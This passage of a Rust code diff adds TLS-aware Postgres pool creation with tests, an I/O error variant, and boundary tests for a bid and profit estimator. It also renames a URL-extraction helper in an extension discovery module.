tracing::warn!("skipping invalid system root cert: {e}");
|
||||
}
|
||||
}
|
||||
if root_store.is_empty() {
|
||||
tracing::error!("no system root certificates found -- TLS connections will fail");
|
||||
}
|
||||
let config = rustls::ClientConfig::builder()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
MakeRustlsConnect::new(config)
|
||||
}
|
||||
|
||||
/// Create a [`deadpool_postgres::Pool`] with the appropriate TLS connector.
|
||||
///
|
||||
/// - `Disable` → plain TCP (no TLS)
|
||||
/// - `Prefer` / `Require` → rustls with system root certificates
|
||||
///
|
||||
/// **Note:** `Prefer` and `Require` currently behave identically — both
|
||||
/// provide a TLS connector and will fail if the server rejects the TLS
|
||||
/// handshake. True `prefer` semantics (retry without TLS on failure)
|
||||
/// would require reconnection logic that tokio-postgres does not provide
|
||||
/// out of the box. The three-variant enum is kept for forward-compatibility
|
||||
/// and familiarity with libpq's `sslmode` parameter.
|
||||
pub fn create_pool(
|
||||
config: &deadpool_postgres::Config,
|
||||
ssl_mode: SslMode,
|
||||
) -> Result<Pool, deadpool_postgres::CreatePoolError> {
|
||||
match ssl_mode {
|
||||
SslMode::Disable => config.create_pool(Some(Runtime::Tokio1), NoTls),
|
||||
SslMode::Prefer | SslMode::Require => {
|
||||
let tls = make_rustls_connector();
|
||||
config.create_pool(Some(Runtime::Tokio1), tls)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn create_pool_disable_mode() {
|
||||
let mut config = deadpool_postgres::Config::new();
|
||||
config.url = Some("postgres://localhost/test".to_string());
|
||||
// Should succeed — pool is created lazily, no actual connection needed.
|
||||
let pool = create_pool(&config, SslMode::Disable);
|
||||
assert!(pool.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn create_pool_prefer_mode() {
|
||||
let mut config = deadpool_postgres::Config::new();
|
||||
config.url = Some("postgres://localhost/test".to_string());
|
||||
let pool = create_pool(&config, SslMode::Prefer);
|
||||
assert!(pool.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn create_pool_require_mode() {
|
||||
let mut config = deadpool_postgres::Config::new();
|
||||
config.url = Some("postgres://localhost/test".to_string());
|
||||
let pool = create_pool(&config, SslMode::Require);
|
||||
assert!(pool.is_ok());
|
||||
}
|
||||
}
|
||||
@@ -331,6 +331,9 @@ pub enum WorkspaceError {
|
||||
|
||||
#[error("Heartbeat error: {reason}")]
|
||||
HeartbeatError { reason: String },
|
||||
|
||||
#[error("I/O error: {reason}")]
|
||||
IoError { reason: String },
|
||||
}
|
||||
|
||||
/// Orchestrator errors (internal API, container management).
|
||||
|
||||
@@ -120,4 +120,242 @@ mod tests {
|
||||
// Negative cost with zero price is profitable (we get paid to do it)
|
||||
assert!(estimator.is_profitable(Decimal::ZERO, dec!(-10.0)));
|
||||
}
|
||||
|
||||
// === QA Plan P2 - 4.4: Value estimator boundary tests ===
|
||||
|
||||
#[test]
|
||||
fn test_profitability_negative_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Negative cost means we get paid to do the work -- always profitable
|
||||
// with any positive price.
|
||||
assert!(estimator.is_profitable(dec!(100.0), dec!(-50.0)));
|
||||
assert!(estimator.is_profitable(dec!(1.0), dec!(-0.01)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_profitability_cost_exceeds_price() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Cost exceeds price → negative margin → not profitable.
|
||||
assert!(!estimator.is_profitable(dec!(10.0), dec!(100.0)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_margin_zero_earnings() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Zero earnings → margin should be zero, not panic from divide-by-zero.
|
||||
assert_eq!(
|
||||
estimator.calculate_margin(Decimal::ZERO, dec!(50.0)),
|
||||
Decimal::ZERO
|
||||
);
|
||||
assert_eq!(
|
||||
estimator.calculate_margin(Decimal::ZERO, Decimal::ZERO),
|
||||
Decimal::ZERO
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_estimate_zero_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Zero cost → value estimate should be zero (cost + 30% of zero).
|
||||
let value = estimator.estimate("free task", Decimal::ZERO);
|
||||
assert_eq!(value, Decimal::ZERO);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_minimum_vs_ideal_bid() {
|
||||
let estimator = ValueEstimator::new();
|
||||
let cost = dec!(100.0);
|
||||
let min_bid = estimator.minimum_bid(cost);
|
||||
let ideal_bid = estimator.ideal_bid(cost);
|
||||
// Minimum bid should always be less than ideal bid.
|
||||
assert!(min_bid < ideal_bid);
|
||||
// Both should be above cost.
|
||||
assert!(min_bid > cost);
|
||||
assert!(ideal_bid > cost);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_profit_calculation() {
|
||||
let estimator = ValueEstimator::new();
|
||||
assert_eq!(
|
||||
estimator.calculate_profit(dec!(150.0), dec!(100.0)),
|
||||
dec!(50.0)
|
||||
);
|
||||
// Negative profit (loss).
|
||||
assert_eq!(
|
||||
estimator.calculate_profit(dec!(50.0), dec!(100.0)),
|
||||
dec!(-50.0)
|
||||
);
|
||||
}
|
||||
|
||||
// === Additional boundary / edge-case tests (QA Plan 4.4) ===
|
||||
|
||||
#[test]
|
||||
fn is_profitable_with_very_large_values() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// rust_decimal::Decimal max is ~79_228_162_514_264_337_593_543_950_335.
|
||||
// Use values large enough to stress multiplication but within Decimal range.
|
||||
let big = Decimal::new(i64::MAX, 0); // 9_223_372_036_854_775_807
|
||||
let small = Decimal::new(1, 0);
|
||||
|
||||
// Large price, small cost -- clearly profitable, must not overflow.
|
||||
assert!(estimator.is_profitable(big, small));
|
||||
|
||||
// Large cost, small price -- clearly unprofitable.
|
||||
assert!(!estimator.is_profitable(small, big));
|
||||
|
||||
// Large equal values: margin = 0, which is < 10% min -- not profitable.
|
||||
assert!(!estimator.is_profitable(big, big));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn estimate_value_with_very_large_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
let big = Decimal::new(i64::MAX / 2, 0);
|
||||
let value = estimator.estimate("big job", big);
|
||||
// value = cost + cost * 0.3 = cost * 1.3, should not overflow.
|
||||
assert!(value > big);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_profitable_with_negative_price() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Negative price is an unusual edge case. The current formula
|
||||
// margin = (price - cost) / price can produce misleading results
|
||||
// because dividing two negatives yields a positive.
|
||||
//
|
||||
// price = -10, cost = 5: margin = (-10 - 5) / -10 = 1.5 >= 0.1
|
||||
// The formula says "profitable" even though the scenario is nonsensical.
|
||||
// We document the current behavior here; a guard for negative prices
|
||||
// could be added in a future hardening pass.
|
||||
assert!(estimator.is_profitable(dec!(-10.0), dec!(5.0)));
|
||||
|
||||
// price = -10, cost = -20: margin = (-10 - (-20)) / -10 = -1.0 < 0.1.
|
||||
assert!(!estimator.is_profitable(dec!(-10.0), dec!(-20.0)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn calculate_margin_with_negative_earnings() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Negative earnings -- margin formula still computes without panic.
|
||||
let margin = estimator.calculate_margin(dec!(-100.0), dec!(50.0));
|
||||
// (earnings - cost) / earnings = (-100 - 50) / -100 = 1.5
|
||||
assert_eq!(margin, dec!(1.5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn calculate_margin_with_both_negative() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Both negative: earnings = -50, cost = -100.
|
||||
// margin = (-50 - (-100)) / -50 = 50 / -50 = -1.0
|
||||
let margin = estimator.calculate_margin(dec!(-50.0), dec!(-100.0));
|
||||
assert_eq!(margin, dec!(-1.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn minimum_bid_with_zero_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Zero cost -- both bids should be zero.
|
||||
assert_eq!(estimator.minimum_bid(Decimal::ZERO), Decimal::ZERO);
|
||||
assert_eq!(estimator.ideal_bid(Decimal::ZERO), Decimal::ZERO);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn minimum_bid_with_negative_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Negative cost -- the bid formulas still compute (cost + cost * margin),
|
||||
// producing a negative bid (we'd pay them).
|
||||
let min_bid = estimator.minimum_bid(dec!(-100.0));
|
||||
let ideal_bid = estimator.ideal_bid(dec!(-100.0));
|
||||
assert!(min_bid < Decimal::ZERO);
|
||||
assert!(ideal_bid < Decimal::ZERO);
|
||||
// With negative values, ideal (more negative) < minimum (less negative).
|
||||
assert!(ideal_bid < min_bid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn estimate_with_negative_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Negative cost: value = cost + cost * 0.3 = -100 + (-30) = -130.
|
||||
let value = estimator.estimate("refund task", dec!(-100.0));
|
||||
assert_eq!(value, dec!(-130.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn custom_margins_affect_profitability() {
|
||||
let mut estimator = ValueEstimator::new();
|
||||
let price = dec!(110.0);
|
||||
let cost = dec!(100.0);
|
||||
|
||||
// Default 10% min margin: (110 - 100) / 110 ~= 9.09% < 10% -> not profitable.
|
||||
assert!(!estimator.is_profitable(price, cost));
|
||||
|
||||
// Lower min margin to 5% -> now 9.09% >= 5% -> profitable.
|
||||
estimator.set_min_margin(dec!(0.05));
|
||||
assert!(estimator.is_profitable(price, cost));
|
||||
|
||||
// Raise min margin to 50% -> 9.09% < 50% -> not profitable.
|
||||
estimator.set_min_margin(dec!(0.50));
|
||||
assert!(!estimator.is_profitable(price, cost));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn custom_target_margin_affects_bids() {
|
||||
let mut estimator = ValueEstimator::new();
|
||||
let cost = dec!(100.0);
|
||||
|
||||
let default_ideal = estimator.ideal_bid(cost);
|
||||
assert_eq!(default_ideal, dec!(130.0)); // 100 + 30%
|
||||
|
||||
estimator.set_target_margin(dec!(0.5));
|
||||
let new_ideal = estimator.ideal_bid(cost);
|
||||
assert_eq!(new_ideal, dec!(150.0)); // 100 + 50%
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_profitable_at_exact_margin_boundary() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// min_margin = 0.1 (10%). Price = 100, cost = 90 -> margin = 10/100 = 0.1.
|
||||
// Exactly at boundary -- should be profitable (>=).
|
||||
assert!(estimator.is_profitable(dec!(100.0), dec!(90.0)));
|
||||
|
||||
// Slightly below boundary: cost = 90.01 -> margin = 9.99/100 = 0.0999 < 0.1.
|
||||
assert!(!estimator.is_profitable(dec!(100.0), dec!(90.01)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn profit_with_zero_values() {
|
||||
let estimator = ValueEstimator::new();
|
||||
assert_eq!(
|
||||
estimator.calculate_profit(Decimal::ZERO, Decimal::ZERO),
|
||||
Decimal::ZERO
|
||||
);
|
||||
assert_eq!(
|
||||
estimator.calculate_profit(Decimal::ZERO, dec!(100.0)),
|
||||
dec!(-100.0)
|
||||
);
|
||||
assert_eq!(
|
||||
estimator.calculate_profit(dec!(100.0), Decimal::ZERO),
|
||||
dec!(100.0)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn default_impl_matches_new() {
|
||||
let from_new = ValueEstimator::new();
|
||||
let from_default = ValueEstimator::default();
|
||||
let cost = dec!(100.0);
|
||||
|
||||
// Both should produce identical results.
|
||||
assert_eq!(
|
||||
from_new.estimate("x", cost),
|
||||
from_default.estimate("x", cost)
|
||||
);
|
||||
assert_eq!(from_new.minimum_bid(cost), from_default.minimum_bid(cost));
|
||||
assert_eq!(from_new.ideal_bid(cost), from_default.ideal_bid(cost));
|
||||
assert_eq!(
|
||||
from_new.is_profitable(dec!(150.0), cost),
|
||||
from_default.is_profitable(dec!(150.0), cost)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,14 +50,14 @@ impl OnlineDiscovery {
|
||||
let mut candidates: Vec<RegistryEntry> = Vec::new();
|
||||
|
||||
for entry in patterns {
|
||||
let url = extract_url(&entry.source);
|
||||
let url = extract_source(&entry.source);
|
||||
if seen_urls.insert(url) {
|
||||
candidates.push(entry);
|
||||
}
|
||||
}
|
||||
|
||||
for entry in github.unwrap_or_default() {
|
||||
let url = extract_url(&entry.source);
|
||||
let url = extract_source(&entry.source);
|
||||
if seen_urls.insert(url) {
|
||||
candidates.push(entry);
|
||||
}
|
||||
@@ -242,12 +242,12 @@ async fn with_timeout<T>(
|
||||
tokio::time::timeout(duration, future).await.ok()
|
||||
}
|
||||
|
||||
fn extract_url(source: &ExtensionSource) -> String {
|
||||
fn extract_source(source: &ExtensionSource) -> String {
|
||||
match source {
|
||||
ExtensionSource::McpUrl { url } => url.clone(),
|
||||
ExtensionSource::Discovered { url } => url.clone(),
|
||||
ExtensionSource::WasmDownload { wasm_url, .. } => wasm_url.clone(),
|
||||
ExtensionSource::WasmBuildable { repo_url, .. } => repo_url.clone(),
|
||||
ExtensionSource::WasmBuildable { source_dir, .. } => source_dir.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -286,7 +286,7 @@ struct GitHubRepo {
|
||||
mod tests {
|
||||
use crate::extensions::ExtensionSource;
|
||||
use crate::extensions::discovery::{
|
||||
OnlineDiscovery, extract_url, titlecase, validate_mcp_url_with_client,
|
||||
OnlineDiscovery, extract_source, titlecase, validate_mcp_url_with_client,
|
||||
};
|
||||
|
||||
#[test]
|
||||
@@ -297,16 +297,16 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_url() {
|
||||
fn test_extract_source() {
|
||||
let mcp = ExtensionSource::McpUrl {
|
||||
url: "https://mcp.notion.com".to_string(),
|
||||
};
|
||||
assert_eq!(extract_url(&mcp), "https://mcp.notion.com");
|
||||
assert_eq!(extract_source(&mcp), "https://mcp.notion.com");
|
||||
|
||||
let discovered = ExtensionSource::Discovered {
|
||||
url: "https://example.com".to_string(),
|
||||
};
|
||||
assert_eq!(extract_url(&discovered), "https://example.com");
|
||||
assert_eq!(extract_source(&discovered), "https://example.com");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
|
||||
+1105
-104
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user